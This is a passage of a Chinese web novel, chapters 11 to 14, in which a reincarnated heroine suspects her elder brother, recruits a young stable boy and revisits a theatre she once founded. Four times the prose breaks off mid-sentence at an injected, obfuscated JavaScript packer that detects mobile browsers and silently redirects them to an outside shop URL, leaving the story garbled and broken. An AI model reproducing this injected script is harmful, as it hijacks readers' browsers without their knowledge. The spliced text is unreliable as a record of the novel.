楚无暇离开了。叶袭宸本以为沈秋实会跟着他一道离开,不想这家伙竟在椅子上坐下了,似是在等着喝茶。 若云已经将茶泡好,给两位主子斟好茶后便安静地站在叶袭宸身旁。 沈秋实喝茶是很有讲究的,与楚无暇近似的一口闷有些许不同。先是轻轻托起茶杯,指尖轻触感受下茶水的温度,然后凑到唇边,拇指并食指捏着杯盖,摩挲了几下杯沿,再轻吹几下茶面上的浮叶,才小小地抿了一口。 叶袭宸见过花疏玉和宋雪砚如此这般喝茶,但不论见过多少次,她总要在心里感叹一句。 如此喝茶,待把茶壶喝空,得喝到猴年马月去。 沈秋实抿了一口后,将茶杯放下,深深地看着叶袭宸,语气认真道:“道溦,你觉得楚无暇如何?” 叶袭宸轻笑一声,稍稍向前凑了凑身子:“兄长该不会真想让我嫁与那厮吧。” 沈秋实松了一口气:“小妹无此意便好。” “既是如此,兄长缘何有此一问?” “只是担心你被那货勾了心神罢了。”沈秋实道:“毕竟楚无暇天生有一副好皮囊。”顿了顿,他又道:“不过此人常年流连秦楼楚馆,实在配不上你。且此人油嘴滑舌,虽有一身功夫,却不堪大用,难成气候。且心机深沉,不可信。” 叶袭宸点头:“兄长说得是,小妹谨记在心。” 叶袭宸实在是没有心情与沈秋实讨论楚无暇如何如何,不料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883534|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈秋实却似是要大谈特谈,且还要展开详细论述。 “此人心机深沉,入府多日,我也未能探查其真实意图。”沈秋实道:“唯一能确认的便是他对你颇为关注。今日之事,我一定会禀报父亲。楚无暇,万万不能再留在府里了。” 似是要征求叶袭宸的意见一般,沈秋实道:“小妹以为呢?” 叶袭宸茫然道:“他是兄长的朋友,是去是留,自然是由兄长决定。” 这份茫然绝非演技,而是叶袭宸实在是觉得好奇。即便沈秋实怀疑楚无暇另有目的,即便是楚无暇多次来寻自己,但用男女之情也该搪塞过去了。他揪着不放,是何缘由?到底是忌惮自己还是忌惮楚无暇,若是忌惮自己,自己究竟何德何能值得他忌惮的?若是忌惮楚无暇,楚无暇又有何处是值得他如此揪着不放的? 莫非? 叶袭宸想到了符无虞。因着符无虞是宋雪砚带回来的,且常年居住在摘星楼。是以叶袭宸前世并未与之有多少交集,唯一的一次便是在她初登大宝时,为平息舆论,下旨让她搞了几次祥瑞出现,目的就是让百官大臣以为自己登基乃是顺应天意而为。 不过虽无多少交集,但她却是知道。符无虞乃是一大人才,上知天文下知地理,能知祸福,卜吉凶。难道沈秋实知晓楚无暇与符无虞的关系,想借楚无暇与符无虞认识一番?唯恐自己先行一步与符无虞搭上话,知道一些不该知道的事情? 莫非沈秋实做了什么对不住自己的事情? 究竟会是何事? 叶袭宸百思不得其解,不过沈秋实的下一句倒是给她提供了一个思路。 沈秋实的食指摩挲着杯身:“听说你今日去过星月的院子了?” 叶袭宸诚实道:“是。” “几年前她害你上吐下泻,险些去了半条命。前几日又害得你险些命丧当场……”沈秋实故意顿了顿:“不过,这都是星月天性使然,小妹身为家里的长女,也该有些容人的雅量才是,莫要与她一般计较。” 叶袭宸微微皱眉。这一番话里透着些许古怪,看似说情实则不然。 叶袭宸还未搭话,若云早已沉不住气,极力申冤道:“大少爷有所不知,我家主子好心去与二小姐缓和关系,不成想二小姐竟不领情,还出口羞辱我家主子,让主子去治治脑袋。大少爷,你可得为我家主子做主啊。” “原是这样。”沈秋实的眼底闪过一丝不易察觉的笑意。 意外地,沈秋实并未追究若云的口无遮拦,而是正义凛然道:“若云,好生保护你家主子。若是沈星月再来胡闹,你就去寻我。我来给你们调和。在我们沈府,绝不容许兄弟姐妹之间互相欺凌。倘若人心不齐,胡生嫌隙,互相勾心斗角,传出去会让旁人笑话的。” 沈秋实洋洋洒洒说了许多,叶袭宸却越咂巴越觉得不对味儿。看来是她把沈秋实看得太过是个人物了,一而再再而三地说起楚无暇的事情,就是来掩盖真实的意图。 待沈秋实走后,叶袭宸若有所思地看着他的背影,问若云道:“当年我因发物卧病在床,星月在院门前长跪不起时,兄长在做些什么。” 12. 第 12 章 叶袭宸开始翻箱倒柜寻找沈道溦的东西了。先前没有这份儿心思,是因为她一直在致力于调养这具孱弱的身子。再就是她已经占据了人家的身躯,若是再连她的遗物也霸占的话,忒有些不地道了。 不过要寻找这些东西是有风险的,是个人稍微接触一下她都能看得出她和沈道溦不是一个人。但借尸还魂这件事有些匪夷所思,即便旁人会自我安慰她只是性情大变而已,但没道理连字迹都变了。说来也奇怪,自从她占据了这副躯体,还从未见过沈道溦的手稿之类的东西。 按理说沈道溦是个才女,平日里也喜爱吟诗诵词,手稿之类的东西应是泛滥成灾才是,如今却是连一篇都难见。先前不在意便罢了,然而如今却是不得不找了。 沈道溦如此冰雪聪明的一个人,岂会对当年的事情没有调查。但凡能够留下些蛛丝马迹,依照她的聪慧,必定有所察觉。虽然不是很清楚她为何闭口不言,将这个误会延续至今,但叶袭宸料想这个问题的答案必定藏于她的手稿中。 若云见叶袭宸忙得不亦乐乎,不由得着急上前询问:“主子在找什么?何不告诉奴婢,奴婢和主子一同寻找。” 叶袭宸百忙之中抬头:“你可知我先前的一些手稿放在何处了?” 若云疑惑地眨了几下眼睛,“主子当真一点儿都记不得了吗?” 叶袭宸停下了动作,“此话何意?” “早在主子生重病之前,您就将自己的手稿付之一炬了。”若云抹泪道:“当时奴婢极力劝说,可是主子执意如此。哪知当日阴风起,烧着了屋内的帷帘,险些酿成一场大火。事后老爷非常生气,严厉斥责了主子一番。” 难怪一篇都找不到。 叶袭宸疑惑极了:“为何我要烧这些手稿?” 若云道:“主子说看着这些手稿,只会愈加悲痛,不如烧了省事儿。” “何来悲痛一说?” “主子所作诗词中皆有叶将军出现。”若云想了一阵,“奴婢还记得这样一句。将军马上不得见,桥头衣衫泪满襟。” 呃。 叶袭宸在椅子上坐下,不由自主地摸了摸鼻子。她虽然没有多少才气,但是识文断字是有的,几句简单的打油诗也能随口而来。沈道溦这句诗,她自个儿理解的话,大抵就是自己坐在马上只顾着向前,却没有看到沈道溦站立在桥头上泪流满面的样子。 她几乎要捂住脸颊了,仿佛隐隐约约之中,自己已然是个负心女了。但是委实没有道理,她喜爱貌美男子,前世也掳掠了不少。若是冒出一两个男子这样说她也便罢了,毕竟可能的确发生过。但是沈道溦这样说她,实在是站不住脚。 叶袭宸叹了一口气道:“若云,你确定诗句中的将军的的确确是叶袭宸吗?” 其实是唐锶谐的可能性是比较大的。 “奴婢不知。”若云回忆了一下道:“主子写诗时泪流满面,奴婢实在不敢多问,唯恐让主子想起伤心事,愈加悲痛。” 叶袭宸追问道:“除了这句,我先前还作过什么诗?” 若云面露难色:“主子,奴婢读书少,不识得几个字。方才背的那一句是主子曾经念给奴婢听的,奴婢才记在了心里。” 叶袭宸思忖片刻:“我先前只给你念过这一句吗?” 若云摇了摇头:“也有旁的。” “那便把你记忆里我作过的诗都背来听听吧。”叶袭宸道:“莫要着急,仔细想想。” 若云道:“还有一首简单的。一日两日三四日,五日六日七八日。日日病卧床榻间,欢声笑语皆不见。” “这是作于何时?” 若云想了想:“应是主子卧病的时候。” 叶袭宸扶了扶额。 一年中沈道溦怕是大半时间都在卧病。 “还能记起别的吗?” “不上天来不入地,一首诗来寄衷肠。天若有情亦得见,地若有知也拭泪。” “少时不知相思苦,今如深渊欲罢之。奈何早已局中人,且叫上天渡我魂。” “我本山中归隐客,不问人间红尘事。” “……” 若云还在背,看样子脑子里记了不少沈道溦的诗。叶袭宸已经听得有些昏昏欲睡了,却冷不防听到下面这句。 “春华秋实何时了,炎夏寒冬何时至。” 叶袭宸一个激灵,瞬间清醒了些。 这句委实不像是沈道溦的真实心情,常年卧病之人最不希望的便是寒冬腊月,她却在祈求寒冬的到来。 莫非是早已做好了迎接死亡的准备? “月上柳梢星满天,花前饮酒鸟相伴。” 叶袭宸陷入沉思。 “杯中月影胜似钩,饮者未饮心胆怯。此恨不关明月事,皆因观者鬼胎生。” 有些意思。 沈秋实和沈星月的名字都在这首诗里出现了,莫非沈道溦是在借此诗映射食物过敏一事? 虽然叶袭宸对沈秋实此人颇有微词,但是也不好随便冤枉他,便问若云道:“沈府如今除了兄长和星月,我还有几个兄弟姐妹尚在?” “尚在垂髫之年的小少爷沈修远,已经嫁作人妇的三小姐沈宜茹,还有……”若云犹豫了半晌,“与沈府断绝关系在外经商的四小姐沈言商。” 叶袭宸心里已经有了主意。 且不说方才在那首诗里没有出现这几个人的名字,但看他们如今的去向就知他们并没有陷害沈星月的理由。虽然亦不知沈秋实如此做的缘由,但他的行事极为可疑。 也罢,先拿他开开刀吧。 叶袭宸道:“摄政王的相亲宴会何时举办来着?” “明日。” 叶袭宸轻轻敲了敲桌面:“我若没有记错的话,负责宴会正是大少爷吧。” “是。” “甚好。”叶袭宸微微勾着唇:“明日就在宴会上给他个难堪。” “他?”若云惊道:“主子可是要难为大少爷?” 叶袭宸哼道:“难为?你忘记他是如何待你的了,几十板子险些就要挨到你屁股上了。” 若云脸颊微红,手不由得摸了摸屁股。 “当时我便放出豪言,三日内,定要让他付出性命。” 若云神色巨变,急忙跪了下来:“主子,切不可因为奴婢而影响了你们兄妹之间的情分呐。再者,大少爷对主子不错。若不是他管着二小姐,二小姐早就无法无天了。” “哼,表面功夫谁不会做。”叶袭宸道:“沈秋实就是个彻彻底底的伪君子,当面一套背后一套。” 若云吓得站起来,忙不迭地捂住叶袭宸的嘴:“主子,当心隔墙有耳。” 叶袭宸不以为意,轻轻推开若云:“沈秋实就是听到了又如何?再者,在我自个儿的院子里,若是还不能畅所欲言,委实也太憋屈了。” 若云道:“主子说得也是,然而……” “没有然而。”叶袭宸站起身来,揽过若云的肩膀:“走,与我出府走一走,带上银两,挑几个养眼的回来。” 若云茫然道:“挑什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883535|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶袭宸理所当然道:“自是挑几个养眼的护院回来耍一耍。” 若云大为震惊,这等话自家主子是如何堂而皇之且面不改色地说出口的?她有些复杂地瞧着自家主子,自我安慰了一句。 想来是主子太过思念叶将军了,以至于言行举止都日渐与叶将军如出一辙。这虽然不是个好现象,但是总比主子日日以泪洗面,最后落得郁郁而终的下场要好上不少。 若云这样自我安慰着自己,但随即想到了另外一个极为严峻的问题。 主子到底不是叶将军,虽然身子比先前好一些了,也开始习练武艺,但主子总归不是叶将军。如此出门,万一有个好歹可如何是好。 叶袭宸倒也不逞强,愉快道:“不是有沈星月和楚无暇吗?叫上他们中的一个即可。”她捏了捏若云的耳垂,“至于叫谁,由你决定。” 若云极为无奈:“主子,一定要在这二人当中挑吗?” 一个不领情,一个无赖混混,选哪个都是送命题。但似乎叶袭宸并不这么觉得,在她看来,选哪一个都是赚翻了。 若是选了楚无暇,不管沈秋实到底有什么花花肠子,他不喜自己与楚无暇走得太近这一点是毋庸置疑的。估计这将会是她与楚无暇的最后一次见面了。若是选了沈星月,自己便能与这小姑娘多亲近亲近,还可借此试探下沈秋实的态度。 思来想去,这都是一桩稳赚不赔的买卖。 但若云似乎是认准了这两人都不是什么好东西,绝不能将叶袭宸的安危押在这二位身上。于是乎,她向叶袭宸推荐了第三位人选。 “主子,不若奴婢给主子推荐一个?” “哦?”叶袭宸有些好奇:“你还有旁的人选?” 叶袭宸觉得自己有些低估这个小丫头了,颇有吏部尚书的风范。 “何人?” 若云却是先卖了个关子,调皮道:“主子随我去马厩便知道了。” 马厩?难不成是养马的? 古往今来,养马的可出了不少人物。 叶袭宸兴致勃勃地随若云一同到了马厩,不巧几个小厮正在清马粪。臭烘烘的味道扑面而来,雄厚且浓郁。 若云不由得用手帕捂住了鼻子,自责道:“主子,是奴婢欠考虑,应直接把他领到主子跟前的。” 叶袭宸倒是对这股子马粪的味道毫无芥蒂,战场上什么都有,这股子味道已经是小儿科了。她上前几步,目光扫过那几个清马粪清到一半停下来目瞪口呆看着她的人。 想来是他们没有料到,一个养尊处优的千金大小姐会来到马厩这等腌臜之地。一个个都手忙脚乱,无处安放。尤其是对比叶袭宸那副光彩照人的模样,以及自己浑身脏污的样子,这份儿局促就更为不堪了,更别说叶袭宸还目光灼灼地打量着他们,似是要在他们身上戳出两个窟窿似的。 唯有一人,虽视线低垂,面上却无任何慌乱之色。看身量,约莫是个少年。稚嫩的面颊虽有些脏污,但却精致得有些过分。一双眸子如盛有一汪清泉般,亮晶晶的。 众人才反应过来,纷纷跪下磕头:“奴才见过大小姐。”那个少年自然也不例外,只是看起来手脚有些僵硬,但脊背却挺得绷直。 叶袭宸径直走到那个少年面前,提溜着后脖领把他拎起来。少年面露惊讶,不知何处得罪了这位府里人都说没几天可活的大小姐了。 “你叫什么?” 少年抬头,迎上叶袭宸热烈的目光,眼里闪过一丝不自然,垂下眼帘道:“奴才长辞。” 13. 第 13 章 长辞? 这个名字倒是不赖。 叶袭宸叫其余人继续清马粪,把长辞单独叫到一边,拿出自己随手携带的手帕仔仔细细地将他的小脸蛋擦干净。 长辞被叶袭宸这一番操作弄得有些丈二和尚摸不着头脑,当然除了疑惑,更多的是有些受宠若惊。在他的印象里,那些千金大小姐都是十指不染阳春水的,来到马厩这等腌臜之地已是匪夷所思,不想她居然还拿自己的帕子给自己擦脸。 独属于胭脂的香气不时萦绕在长辞的鼻间,十分好闻,但也有些痒痒的。他硬生生地憋住了打喷嚏的冲动,只是拿着一双水汪汪的眼睛看着叶袭宸。 若云走过来,惊讶极了:“主子,你怎知我说的是他?” “直觉。”叶袭宸话头一转:“不过这个孩子也太小了些。” “我不小了。”长辞道:“我今年已经十五了。” “十五了?”叶袭宸拍了拍他的肩膀:“那你可是长得有些慢了。” “我还会长的。”长辞有些不服气道。 “年纪不是问题,关键是你会些什么。” “我会翻跟斗。” 叶袭宸笑了:“翻几个来看看。” 长辞接连翻了十几个才停下来,倒不是因为他能力不济,而是没有地方翻了。这个地方有些小,长辞已然翻到墙根了。 叶袭宸正要嘲笑这个毛头小子一番,不想他却只是抬头看了看墙的高度,然后退后几步站定,起跑助力,蹭蹭地窜上了墙。不过他没能跃上墙头,跑到一大半便泄了力气,只能翻个跟斗后稳稳落地。 一套动作下来行云流水,煞是精彩。 叶袭宸鼓起了巴掌:“不错,不错,孺子可教也。”她走到长辞面前,蹲下身问道:“你会打架吗?” “和野狗打过。” 叶袭宸皱眉:“野狗?” 长辞下意识别过脸,泪水在眼眶里打转:“它们抢我东西吃。” 看来也是个命运坎坷的孩子。 叶袭宸站起身来:“就你了,以后你就跟着我吧,以后再也不会有野狗抢你东西吃。若云,带他回去洗个澡,找身干净衣服穿。” 若云大喜过望:“是。” 给叶袭宸推荐长辞一事,若云是有私心的。长辞是她捡回来的小乞丐,寒冬腊月的,这孩子衣着破烂地蜷缩在角落里。偶尔有几个行人看不下去给了几块干硬的饼子,然而孩子还没吃几口,一些野狗闻着味道就过来了。 它们不敢抢成年乞丐的食物,但是却对这个小孩子没有客气。本就破烂的衣服被野狗们撕成碎片,孩子一边把饼子狼吞虎咽地往肚子里吞,一边用脚使劲地踢那些野狗。由于吃得太着急了,他被饼子噎到了。即便如此,他还是顶着一张发紫的面庞与那些野狗缠斗着。 若云本是出来为沈道溦传话的。 唐锶谐大将军已经打进帝京了,叶帝登基不过一年便要被赶下台。沈道溦深知成王败寇的道理,知道唐锶谐绝对不会放过叶袭宸。但还是抱着一丝他会顾念旧情的天真想法,让若云去传个话,万望请他手下留情。其实沈道溦是想一同来的,然而由于太过激动,竟一口鲜血吐出直接晕倒了。若云本想留下照顾,但沈道溦晕倒之前的话她还记得。 “抬我进宫……” 若云是不会抬沈道溦进宫的,因为那样的话自家主子就真的只有死路一条了。她倒不是怕唐锶谐一怒之下杀了主子,而是担心主子在进宫的路途中不治身亡。但主子有命,她不敢不从。于是,若云只能义无反顾地只身一人闯进府外战火纷飞的帝京。 只是传个话而已。 若云急匆匆地走着,心里这样安慰着自己,然而外面战况的惨烈却险些让她打退堂鼓。 往日奢靡繁华的街道,如今却到处浓烟滚滚,血腥的味道弥漫在空气中。到处都躺满了鲜血淋漓的尸体,地面已经被鲜血染红。 若云吓得不轻,说不准随时就会出来一个凶神恶煞的人把她变成尸体。但是她没有犹豫,已经出来了,那么就得把话传到,否则主子会一辈子活在不安里的。 然而若云并没有进到宫里,甚至连宫门都没能见到,就有人骑着马大街小巷地奔走相告。 “叶贼已死!” “叶贼已死!!” “叶贼已死!!!” 若云如遭雷击,泪水止不住地流了下来。 叶袭宸死了。 她虽不懂什么国家大事,但却知道叶袭宸对自家主子是极好的,长公主也是,可是如今这两人一后一前都死了。 都死了! 好人不长命。 这个世道真是太不公平了! 已经有将军率领人来清理街道,搬运尸体。或许是见她可怜,有人上前来问她需不需要帮忙。若云只是摇着头苦笑,问她的人以为此人已经疯癫,便上报了唐锶谐。 唐锶谐骑着高头大马过来了,见是若云,迅速下马来:“你家主子也在附近?” 若云摇头:“主子正在卧病。” 唐锶谐好似松了口气。 若云看着他,他戴着半边银色的面具,无人得以看清他的容颜,就连神情也难以揣测。但就方才他下马时的速度,应是着急的。 若云道:“将军在乎主子吗?” 唐锶谐没有说话。 若云又道:“主子不想让叶袭宸死。” 虽然此时此刻,说这句话已经没有意义了。 唐锶谐开口了:“我别无选择。” 若云再道:“我会一字不落地告诉主子的。” 若云转身离开。 唐锶谐没有阻拦,也没有找人护送。 街道上的尸体很快被清走了,只余淡淡的血腥味漂浮在空气里。若云像个木偶似的麻木地走着,倏地一道惨叫声惊醒了她。 她循着声音看过去,孩子正在神色痛苦地和野狗争斗着。若云看了看四周,当即抄起一块板砖朝野狗头上砸去。 这一下是下了力气。 虽然没有砸中野狗,但却把它们吓得不轻,直接作鸟兽散了。 “咳咳咳……”孩子跪在地上,一手捏着脖子,一手扣着喉咙。 若云也不知哪里来的力气,直接一巴掌拍在孩子的背上。孩子被她拍在了地上,半块硬饼子也被吐了出来。 孩子趴在地上劫后余生地喘息着,但休息过后就要再去吃那块饼子。经过方才的艰险,孩子吃得小心翼翼,警惕地打量着若云。 “我不和你抢。” 孩子吃完后就被若云带进了府,还给了他一个名字——长辞,取自“与世长辞”。 仔细算来,长辞入府也两三年了。若云要服侍沈道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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先前无论生活如何艰难,他都没有如此害怕死亡的到来。记忆中仅有的一次来源于一个屠他满门的妖女,但那早已是五六年前的事情了。不成想,今日他又重新在另外一个女子身上尝到了这种滋味。 是不是天底下所有怪异的女子都是妖女? 活下来? 如何活下来? 她分明是在耍弄自己! 自己的命在她手里,她却要自己来想如何从她手底下活命。 何其可笑! 如今的他,就算是跪地求饶都做不到,连一句整话都已说不出。 叶袭宸恶劣地笑着:“求饶的话你只会死得更快。” 长辞更气了。 他总算是明白了,自己分明就是她手里的玩物,她欣赏着自己痛苦的神情,并以此为乐。 视线越来越模糊,眼角沁出两滴生理性眼泪。长辞合上双眸,静静等待死亡的到来。 不知是否会与地府的父母相见。 然而死神并没有眷顾他,叶袭宸松开了长辞。他跌坐在地上,大口大口地喘息着,用愤恨的眼神看着叶袭宸,周围眼眶渐红。泪水含在其中,欲落不落。 “随我出府走一走。”叶袭宸把长辞拎起来,拍了拍他的肩膀:“你来赶车。” 14. 第 14 章 马车有条不紊地在帝京的街道上疾驰。 叶袭宸坐在正中央闭目养神,若云在旁边静静坐着。长辞在外面驾驶着马车,坚毅的小脸绷得紧紧的。 一路上吹着清风,他的脑袋总算清醒了些。叶袭宸并非要杀他,只是想试试自己的身手罢了。但是自己能力不济,没能通过叶袭宸的考验。但许是看在若云姐姐的面子上,她还是留下了自己。 长辞抿了抿唇。 养马的活儿不好干,他在马厩里摸爬滚打了两三年,马粪都吃过,马屁股也舔过,自然马嘴也亲过。他深知忍辱负重的道理,总算皇天不负有心人,他终于等到了叶袭宸。 叶袭宸虽然有些狠厉,与传闻中的大小姐有些许不同。但他知道,只要在她身边,自己一定能够有所成就。 长辞豪气壮志地在心底给自己打气,畅想着自己学有所成的那一日,然而不多时便泄了气。因为眼下有个要紧的问题,叶袭宸并没有说去哪里,只是让他赶车。 他隐隐觉得叶袭宸又是在考验他,但是他却一点儿头绪都没有。 叶袭宸到底想去哪儿呢? 长辞一面边赶车一面思考着。 叶袭宸给他擦脸的帕子上有脂粉的香气,说明她平日里也是个注重相貌之人。此番出来,莫不是要去脂粉铺子买些心爱的胭脂? 听说明日那位拨乱反正的摄政王便要亲自去沈府参加宴会了,据说这是当今皇帝特意为其准备的相亲宴。许多贵族小姐都会慕名前往,想尽了法子装扮自己。 莫非大小姐也有这份儿心思? 前面不远处便是一间脂粉铺子,许许多多贵气的小姐们来来往往,欢声笑语萦绕耳畔。长辞瞥了她们一眼,想象着叶袭宸站在她们中间的样子,总觉得有几分违和感。 罢了。 应不是这里。 长辞继续赶车。 既然不是脂粉铺子,难不成是兰庭戏院。听说近日大小姐性子古怪,开始练武强身。还有人说大小姐因为过度思念叶帝,逐渐开始把自己变成她一般的人物了。 兰庭戏院是叶帝当权时建立的,仅供女子玩乐享受。既然大小姐如此在意叶帝,应该会来这种地方吧。 长辞驾着马车而来,远远地看到几个女子从里面走出来。她们不似寻常女子般柔弱,但也不至于肥头大耳。身材是那种较为标准的匀称,看起来极富有力量感。她们嬉笑着与追出来的几个貌美男子道别,手掌摸了一把他们细腻的脸蛋,承诺下次还来。 长辞仔细瞧着那些男子,大多都是面皮光滑,长相精致,但也有几个长了胡子的。他不禁有些疑惑,这些看着也算是好人家的男儿,怎么不找个好姑娘好生安定下来,偏偏要过这些卖弄风骚的日子。 已经由不得长辞去考虑这些了,兰庭戏院已经近在咫尺,长辞停了下来。他跳下车来,跪在地上当马杌。若云挑开轿帘,踩着长辞的背下了马车。正要搀扶叶袭宸下来时,叶袭宸却摆了摆手,并让长辞也起来,自己直接跳了下来。 “你怎知我要来此处?”叶袭宸看着站立在一旁的长辞,勾了勾唇:“我可没有告诉过你。” “奴才不知。”长辞道:“只是马乏了,停在了此处。” 叶袭宸笑了笑:“看来我该赏的是这匹马,而不是你。” “全听主子的。” “既然马乏了,你就牵着马去吃草吧。”叶袭宸对若云道:“我们进去。” 兰庭戏院内热闹非凡,虽不是夜晚,却也别有一番景象。不光有唱戏的,还有舞剑的,更有吟诗作对的。比起寻常的秦楼楚馆,多了几分风雅的味道。 若云看得瞠目结舌,她是头一次来这种地方,看什么都觉得新奇。 叶袭宸调笑道:“要不要给你找个好看些的陪你说说话?” 若云摇了摇头:“奴婢只想陪着主子。” 叶袭宸遗憾道:“好吧。” 有个容貌迤逦的女子出来招待她们,这个人是叶袭宸认识的。当年是怡红楼里的花魁,嫖客们都唤她黄莺。后来被叶袭宸收买了,给了她个新名字——周盈。 盈是盈利的意思。 叶袭宸本欲兰庭戏院的生意越来越红火,就算不拉皮条,附庸风雅一番也是好的。但是如今却是看着冷冷清清的,比起当年的门庭若市差多了。不过这倒不是最让她感到吃惊的,生意惨淡成这样,周盈居然没有麻溜跑路才着实让她感到意外。 在叶袭宸的印象里,周盈是个极其市侩的人。这倒也没什么,周盈是花魁,若是不市侩的话,她为何要来到这种地方,在众多男子身旁游走。若是没有些难处,哪个好人家的姑娘会甘愿做这种事情? 但当年叶袭宸选中她,正是因为她的市侩。兰庭戏院是个大胆的尝试,若是没有市侩的人来掌管,不出几日就会倒闭。但又有一问了,市侩的女子多了,怡红院的老鸨不也是这样的人吗? 叶袭宸为何不选个更有经验的呢? 她自有她的考量。怡红院的老鸨已经习惯了讨好男子,早就被腌入味了。即便是个女子,周身上下却散发着一股子男子的味道。 这并不是句夸奖人的话。 这世间就是有这么一种女子,年轻的时候遭到男子的压迫,年长了有些本事了,就把自己当成男子去压迫年轻女子。仿佛只有这样,才能显示出自己的与众不同。 这类女子的经典代表便是某些当家主母或是某些掌权太后,张嘴闭嘴就是呵斥自己的儿子或是孙子为了一个女子如何如何。大权在握的感觉是不错,压人一头的滋味是美妙,训儿子训孙子也无可厚非,然而却总是叫人听了十分不舒服。 这些人大可以训儿孙不思进取,不求上进,草包一个,却偏偏要把男子的这些罪过怪到女子头上。好似这些女子都是妖女,被人派来勾魂的一般。 可她们怎么忘了,她们其实也是女子。 扯远了。 拿什么主母或是太后类比老鸨子,可是太给主母们太后们抹黑了,毕竟她们也是一路上历尽艰难险阻一步步爬上来的。 总之叶袭宸就是觉得老鸨子已经习惯了伺候男子,若是让她来掌管兰庭戏院,不出几日,兰庭戏院就是第二个怡红院。而当时的周盈虽盛极一时,却也年轻青涩,正是处于这个即将转化的时间段,尚且还没有实现从花魁到老鸨子的进化。 叶袭宸便挑中了她。她相信,遍历男子的摧残,赚得盆满钵满的同时,周盈心底也埋着对男子的憎恶。 这倒不是叶袭宸的揣测,而是亲眼所见。 叶袭宸也曾扮过男子,进过怡红院,点过周盈姑娘。彼时周盈刚服侍完另一位男子,正是疲劳之际,但却强打精神,笑脸相迎。 叶袭宸让她陪着说话,通过些只言片语,叶袭宸了解到了一个极为俗套却亘古不变的故事。有位书生进京赶考,书读得头昏脑胀的时候,拼凑了几两银子来怡红院找乐子。当时周盈还不是花魁,见书生垂头丧气,便好心安慰了几句。书生见周盈不似其他姑娘般嫌贫爱富,愿意和他说话,便对这个女子产生了好感。一来二去,周盈和书生互生情愫。书生承诺,日后飞黄腾达之时,必来给周盈赎身,大红花轿娶进门。周盈信了他的鬼话,此后再不接其他的客人,即便被老鸨子打得遍体鳞伤也不屈服。奄奄一息的时候,她终于迎来了她的书生。就像他当年说的,三媒六聘,八抬大轿,然而—— 新娘却不是她。 说到这里,周盈已经泪流满面地睡熟了。 叶袭宸心里有了谱。 但即便如此,叶袭宸说服她从怡红院跳槽到兰庭戏院也是废了不少力气。直到如今,叶袭宸尚且还记得当时周盈的神情。 “兰庭戏院?” 周影把玩着烟斗靠在窗台上,身上的衣服薄如蝉翼,隐隐约约可见曼妙的身姿。她的胸腹部还有刺青,不是玫瑰芍药之类的花朵,而是一把精致的锁。 “遮掩什么呢?名字取得如此风雅,归根结底不还是秦楼楚馆?” “是不是秦楼楚馆,关键在你。既然把兰庭戏院交给了你,你想如何打理便如何打理,只要侍奉对象是女子。” 周盈的眼神有了些许变化,她看着一身男子扮相的叶袭宸,眼睛眯了起来:“你是女子吧。” “何出此言?” 周盈讽刺地笑了一声:“哪有男子专门做这种吃力不讨好的事情?” “吃力不讨好?我倒不这么觉得,未来兰庭戏院即将成为帝京最为著名的地方。” 周盈不以为然:“这仅是你自个儿的想法罢了。我在这里吃香的喝辣的,何必去一个还未有起色的新地方,去赌一个不甚确定的将来?” “既是如此,我可以承诺你。此后所有兰庭戏院的亏损,皆由我来负责。” 周盈定定地看了叶袭宸半晌,终是答应了。此后两年,果真如周盈所说,兰庭戏院客人不多,经常亏损,入不敷出。但由于叶袭宸一直在填补亏空,是以周盈还在尽力维系着。直到叶袭宸下台,兰庭戏院彻底没了支持,开始日渐萧条。 当年是因为叶袭宸承诺周盈填补亏空她才答应打理兰亭戏院,如今没了叶袭宸的支持,周盈还在这里,这是让叶袭宸万万没有想到的。 本以为兰庭戏院最后会沦落到怡红院那样的下场,成为众多男子寻欢作乐的场合,不成想周盈不仅没有走,居然还守住了她当年唯一的要求。 起初从楚无暇口中得知兰庭戏院的消息时,叶袭宸是不怎么相信的。但如今亲眼瞧见了,也由不得叶袭宸不信了。 叶袭宸对周盈道:“二楼中间的雅间,不需旁人伺候。” 若云将两锭金子放在了周盈手里,周盈笑得合不拢嘴,“上面请。” 叶袭宸和若云上了二楼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883537|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅间,周盈亲自来给她们上酒。 “不知小姐如何称呼?” 出门在外,身份都是自己给的。 “鄙人姓金。” 